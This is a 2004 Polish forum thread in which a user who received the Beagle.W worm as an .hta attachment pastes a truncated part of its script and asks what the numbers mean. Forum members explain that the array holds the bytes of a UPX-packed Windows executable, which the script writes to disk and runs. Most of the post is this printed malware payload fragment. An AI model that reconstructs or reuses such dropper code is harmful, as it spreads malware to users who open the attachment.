Strona: [  << <   1   > >>  ]  z  1     
Autor Temat: CZ 1 - Wirus Beagle.W i jego kod. Co oznaczają poniższe wartości array
ciemniak




Typ: neutral
Postów: 1
Zarejestrowany: Jul 2004
CZ 1 - Wirus Beagle.W i jego kod. Co oznaczają poniższe wartości array

Dostałem wiruska - koń trojański w załączniku, rozszeżenie ***.hta. Nie będę podawał całego kodu a jedynie fragment. Czy mógłby mi ktoś wytłumaczyć co oznaczają liczby w wirusie. DZIĘKI
....
TSO.write "a=Array(77,90,0,0,1,0,0,0,2,0,0,0,255,255,0,0,64,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,180,76,205,33,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,144,0,0,0,169,38,221,19,237,71,179,64,237,71,179,64,237,71,179,64,237,71,179,64,238,71,179,64,99,88,160,64,109,71,179,64,17,103,161,64,236,71,179,64,42,65,181,64,236,71,179,64,82,105,99,104,237,71,179,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,80,69,0,0,76,1,3,0,204,15,144,64,0,0,0,0,0,0,0,0,224,0,15,1,11,1,5,12,0,80,0,0,0,16,0,0,0,144,0,0,240,226,0,0,0,160,0,0,0,240,0,0,0,0,64,0,0,16,0,0,0,2,0,0,4,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,0,1,0,0,16,0,0,0,0,0,0,2,0,0,0,0,0,16,0,0,16,0,0,0,0,16,0,0,16,0,0,0,0,0,0,16,0,0,0,0,0,0,0,0,0,0,0,164,243,0,0,76,2,0,0,0,240,0,0,164,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,85,80,88,48,0,0,0,0,0,144,0,0,0,16,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,0,0,224,85,80,88,49,0,0,0,0,0,80,0,0,0,160,0,0,0,70,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,224,46,114,115,114,99,0,0,0,0,16,0,0,0,240,0,0,0,6,0,0,0,72,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,192,49,46,50,52,0,85,80,88,33,12,9,2,8,191,39,61,95,218,208,111,158,199,199,0,0,201,66,0,0,0,146,0,0,38,0,0,204,255,255,255,155,250,201,58,113,42,43,24,144,243,163,43,16,137,252,123,8,218,121,66,23,24,14,115,238,127,94,82,191,253,255,255,186,250,4,58,143,24,57,175,113,22,172,113,191,242,113,143,246,113,183,234,25,226,45,59,16,242,200,252,220,255,177,221,223,5,59,113,254,38,201,56,188,24,18,164,51,56,246,250,43,107,237,183,239,42,13,42,5,143,234,2,246,170,18,58,5,0,13,25,127,251,246,7,121,62,14,146,250,218,53,144,250,18,97,52,250,115,191,6,61,191,255,190,197,190,14,130,144,1,48,242,18,45,186,13,119,191,2,170,255,155,175,123,41,18,6,21,83,121,135,2,250,143,248,17,233,5,143,119,111,238,145,2,14,18,106,91,67,14,17,53,15,18,170,186,219,54,115,96,70,106,135,14,119,254,106,183,246,220,102,226,89,90,165,200,236,71,242,248,183,217,222,223,137,254,25,144,254,146,22,164,189,5,255,11,189,237,193,182,170,203,7,201,40,13,71,104,38,238,246,173,220,53,173,6,113,252,246,59,19,248,64,9,81,9,239,62,178,253,121,27,249,9,80,165,30,242,169,113,167,246,33,144,224,18,99,242,148,253,119,73,121,58,155,6,80,177,143,11,161,31,240,18,131,123,231,22,50,202,177,184,251,18,74,197,169,202,173,117,127,241,58,142,244,170,144,148,37,12,187,40,196,127,22,186,193,131,172,69,143,132,135,201,33,25,174,195,151,237,255,86,59,26,234,121,3,251,142,241,86,156,9,242,248,142,251,86,154,7,121,123,120,18,232,18,199,152,56,9,246,18,201,252,18,111,237,221,145,211,18,216,6,185,121,1,232,72,66,156,66,247,8,173,253,255,240,156,81,121,19,249,131,72,13,35,209,3,74,199,208,145,196,255,255,255,255,121,26,197,198,196,137,232,198,206,137,240,254,187,198,161,136,245,254,252,17,241,254,6,17,253,214,196,58,26,248,254,235,30,218,195,209,80,73,169,144,105,36,161,127,179,125,67,135,123,201,113,34,224,34,6,97,51,5,8,84,122,223,246,123,187,190,142,227,178,18,116,196,211,143,253,89,161,237,115,157,49,115,255,252,121,60,254,17,32,66,251,136,18,24,6,118,133,159,219,222,146,248,21,83,112,4,36,77,189,189,46,246,119,23,132,67,250,19,114,238,192,4,56,24,3,18,98,214,248,109,227,60,191,4,113,51,192,112,254,193,114,191,133,13,178,237,238,182,8,203,5,245,76,175,9,192,114,21,112,236,219,133,183,5,192,187,193,40,136,248,40,4,57,143,47,216,183,23,220,217,106,2,185,143,242,112,249,60,7,112,108,196,22,218,185,251,5,220,1,87,140,2,254,181,246,227,228,186,4,27,79,3,238,194,114,175,109,239,219,221,99,175,6,13,6,112,12,4,23,145,194,155,235,92,139,16,26,9,5,248,122,164,113,221,186,183,111,64,202,238,202,5,5,24,58,112,35,249,4,6,114,223,62,73,175,96,230,25,113,186,198,249,5,245,77,186,252,133,221,45,8,214,226,66,210,116,13,159,218,140,247,214,150,175,168,29,5,249,56,255,136,28,150,173,124,152,246,19,43,5,60,238,246,23,108,228,194,23,67,234,20,221,16,163,107,190,21,117,178,8,170,144,116,251,218,210,155,183,179,91,5,194,113,113,185,107,223,254,191,161,11,209,48,113,169,242,249,43,249,169,246,115,221,5,137,234,117,182,23,242,157,190,118,238,251,5,63,181,17,62,160,99,237,119,59,144,210,9,15,6,18,246,117,59,5,234,23,202,178,44,2,238,6,57,185,222,253,202,201,150,218,26,223,156,5,25,186,170,77,182,217,223,212,251,170,170,61,122,42,250,0,9,46,108,143,109,52,207,234,33,242,37,210,17,249,58,6,228,198,167,33,37,13,251,144,251,104,199,205,238,182,150,69,88,232,23,5,168,242,17,41,246,254,253,232,119,175,2,137,248,61,184,254,79,35,253,75,248,94,221,153,6,36,46,238,245,215,178,177,219,172,119,19,61,252,131,188,48,105,90,176,15,236,144,248,49,113,252,164,99,23,39,135,185,179,76,119,248,18,250,128,139,108,177,37,137,89,248,138,151,205,204,55,33,53,182,91,226,105,44,247,96,50,123,62,130,29,173,249,248,8,44,184,238,146,51,122,203,99,192,21,190,221,32,240,186,142,190,3,122,25,119,127,45,170,75,54,96,191,228,91,193,231,2,24,90,146,251,70,160,234,30,51,36,100,68,95,183,108,39,35,19,18,173,230,18,226,151,90,163,124,225,40,198,124,156,61,191,0,132,97,222,23,190,53,11,5,183,0,13,27,224,144,186,18,227,93,80,182,143,221,201,253,210,194,22,117,189,254,5,10,188,105,182,205,205,107,156,7,246,0,244,61,189,234,106,207,212,34,63,31,159,10,63,27,216,218,218,210,229,52,26,104,249,54,157,242,239,39,225,194,115,189,69,61,165,31,26,169,173,201,5,222,67,71,211,129,149,176,110,167,111,238,225,104,7,222,88,108,238,14,204,208,20,248,235,99,24,6,214,234,18,229,198,86,245,126,127,115,135,8,49,29,7,142,10,9,203,203,195,175,58,200,51,195,43,2,159,144,244,24,118,223,149,27,160,174,0,217,24,184,183,66,244,36,249,249,246,97,107,220,29,22,249,161,5,30,76,10,170,38,189,193,220,110,203,18,88,119,19,210,122,233,158,75,210,18,117,154,139,19,129,114,31,116,159,7,183,105,189,112,22,8,251,12,159,219,209,2,5,162,144,46,213,146,7,86,32,25,157,238,161,106,26,133,100,107,143,195,22,33,158,222,12,10,225,8,187,211,98,245,220,193,228,144,246,172,207,231,182,247,199,193,119,135,251,30,76,249,34,134,230,123,190,170,26,212,251,9,208,146,59,195,191,110,6,222,16,1,173,248,18,214,3,254,8,191,111,58,7,222,160,146,231,112,186,32,254,144,41,182,216,187,49,168,62,70,248,93,1,175,78,202,159,175,228,52,138,62,46,252,18,23,2,185,251,237,7,154,66,170,54,15,17,207,121,2,251,11,250,54,170,179,52,187,101,211,248,23,54,170,231,249,109,54,203,114,234,234,5,235,254,5,218,255,66,213,218,103,236,213,79,106,223,119,244,140,112,224,134,239,53,18,149,36,18,180,192,77,50,15,135,176,239,57,27,169,184,184,107,226,19,239,82,255,18,151,2,11,245,170,22,152,10,193,173,181,253,1,240,140,255,15,137,12,4,205,170,6,229,93,243,7,84,171,9,246,18,78,7,44,89,52,12,92,10,193,81,74,182,211,195,141,182,170,194,79,10,47,3,6,24,233,14,223,46,239,86,86,186,183,26,207,14,150,217,94,68,80,53,27,74,121,238,225,24,203,6,191,76,5,229,152,10,182,224,190,200,223,137,202,16,18,129,194,125,114,10,244,24,38,222,30,238,6,119,201,117,232,9,94,69,63,110,47,241,88,17,110,57,182,5,216,143,65,21,44,205,7,6,231,31,7,10,18,52,205,212,14,217,203,70,131,169,164,154,14,220,1,5,174,77,136,69,56,91,205,254,122,47,11,247,141,141,120,84,69,242,80,32,45,6,117,102,115,175,202,209,15,180,78,137,229,158,108,143,32,29,176,20,66,251,185,186,215,240,198,13,70,243,119,179,70,67,61,149,14,59,152,12,119,138,38,131,113,19,166,225,59,84,143,176,134,65,217,108,11,183,219,47,146,94,55,146,184,9,33,2,117,81,46,91,99,152,41,178,22,252,13,47,8,79,207,198,238,23,22,91,47,27,238,177,29,113,72,12,44,253,69,215,58,10,69,188,177,191,185,205,6,32,38,170,173,18,161,4,25,232,13,204,8,159,61,185,9,15,248,113,37,127,82,111,78,198,219,151,165,152,16,203,205,50,64,62,41,74,252,127,240,24,11,25,239,67,32,59,24,255,59,17,225,241,41,99,19,45,182,133,188,249,22,20,185,66,176,69,161,73,254,132,130,170,110,182,245,216,71,163,204,92,107,251,74,25,245,182,178,131,234,217,183,246,61,248,69,186,173,80,184,1,56,121,194,191,44,242,46,208,185,182,157,110,160,115,248,133,176,215,28,147,209,98,23,111,164,42,113,242,36,143,252,179,199,110,209,224,160,187,153,18,168,45,6,207,111,139,21,56,205,46,29,186,30,161,123,55,2,184,46,206,173,61,127,34,6,210,27,190,93,129,147,107,93,44,115,127,25,119,119,238,183,197,24,247,79,12,18,29,23,102,184,69,189,27,251,217,182,138,244,173,27,6,18,41,204,21,241,36,7,132,218,103,26,7,15,4,51,143,45,29,108,115,97,67,83,17,64,12,62,206,165,67,5,78,173,88,126,61,240,206,202,142,5,83,18,249,35,21,195,117,140,195,32,112,6,171,223,77,225,105,122,110,139,19,35,87,58,55,61,26,182,200,67,234,33,136,232,207,14,253,151,133,70,70,249,2,118,252,68,35,12,26,13,12,213,16,244,169,140,244,225,156,249,146,179,177,206,89,186,33,99,135,10,161,180,32,248,156,205,216,195,58,247,208,32,10,27,250,224,42,141,125,148,144,19,26,222,163,234,111,29,35,136,176,100,113,7,188,123,196,182,173,191,248,111,212,93,17,13,255,42,234,34,113,52,209,183,2,123,59,250,177,59,11,25,198,20,2,5,120,94,90,
...

DZIĘKI

08-07-2004 18:03
Pokaż profil ciemniak  Wyślij email do ciemniak   
losmac
"profesorek"




Typ: neutral
Postów: 758
Zarejestrowany: May 2003

A czy Ty myślisz, że tu są wróżki lub czarodzieje?

Nie da się na podstawie jednej linijki kodu powiedzieć, co oznaczają liczby w wirusie.
Z tego, co się domyślam, tworzona jest tablica i wypełniana tymi liczbami. Nie wiem nawet, co to za obiekt TSO, więc wybacz ale więcej ani ja, ani nikt inny Ci nie pomoże przy takiej ilości danych.


_____________________________________________
POSTULATY STARUSZKA:
1) Ludzie, dbajcie o polszczyznę!!!
2) Ludzie, zadawajcie kompletne pytania, a nie rzucacie ochłapy i trzeba się domyślać o co chodzi!!!

Powodzenia
Maciej Łoś

08-07-2004 23:15
Pokaż profil losmac  Wyślij email do losmac   Odwiedź stronę losmac  
marcin_an
Forumowicz




Typ: neutral
Postów: 1265
Zarejestrowany: Mar 2004

Oj... nie zakładaj z góry, że problem jest nie do rozwiązania. A jeśli zakładasz, to wypowiadaj się tylko za siebie .

IMHO jest to po prostu zawartosć execa, który potem jest jakoś zapisywany na HDD i uruchamiany.

[Post edytowany dnia 02-08-2004 07:26 przez marcin_an]


_____________________________________________
Jedzonko dla Google'a:
Forum na temat Visual Basic, C, C++, Pascal, Programowanie, API, PHP, VBA, VB.NET, QBasic, VBScript, Komputery
Moja strona o wszystkim

02-08-2004 07:05
Pokaż profil marcin_an  Wyślij email do marcin_an   Odwiedź stronę marcin_an  
PIEKAR




Typ: neutral
Postów: 10
Zarejestrowany: Sep 2004
masz ambicje na swojego Beagle'a ??? ;-)

Moim zdaniem to kody ASCII, jakoś zaszyte, może ponożone przez 3, albo podzielone przez 5 .... Jakoś tak ...


_____________________________________________
VB, VBS, ASP, ASP.NET, .....

23-09-2004 11:26
Pokaż profil PIEKAR  Wyślij email do PIEKAR   
marcin_an
Forumowicz




Typ: neutral
Postów: 1265
Zarejestrowany: Mar 2004

Skąd taki wniosek?
Jak dla mnie jest to po prostu tablica zawierajaca wartości kolejnych znaków programu. I tyle.


_____________________________________________
Jedzonko dla Google'a:
Forum na temat Visual Basic, C, C++, Pascal, Programowanie, API, PHP, VBA, VB.NET, QBasic, VBScript, Komputery
Moja strona o wszystkim

23-09-2004 11:41
Pokaż profil marcin_an  Wyślij email do marcin_an   Odwiedź stronę marcin_an  
HejHo




Typ: neutral
Postów: 66
Zarejestrowany: Apr 2003

zgadza sie, a do tego program spakowany UPXem

01-12-2004 22:00
Pokaż profil HejHo  Wyślij email do HejHo        6384729
marcin_an
Forumowicz




Typ: neutral
Postów: 1265
Zarejestrowany: Mar 2004

To ktoś tu jeszcze zagląda?


_____________________________________________
Jedzonko dla Google'a:
Forum na temat Visual Basic, C, C++, Pascal, Programowanie, API, PHP, VBA, VB.NET, QBasic, VBScript, Komputery
Moja strona o wszystkim

01-12-2004 23:40
Pokaż profil marcin_an  Wyślij email do marcin_an   Odwiedź stronę marcin_an  
Wszystkich odpowiedzi: 6 :: Maxymalnie na stronę: 20
Strona: [  << <   1   > >>  ]  z  1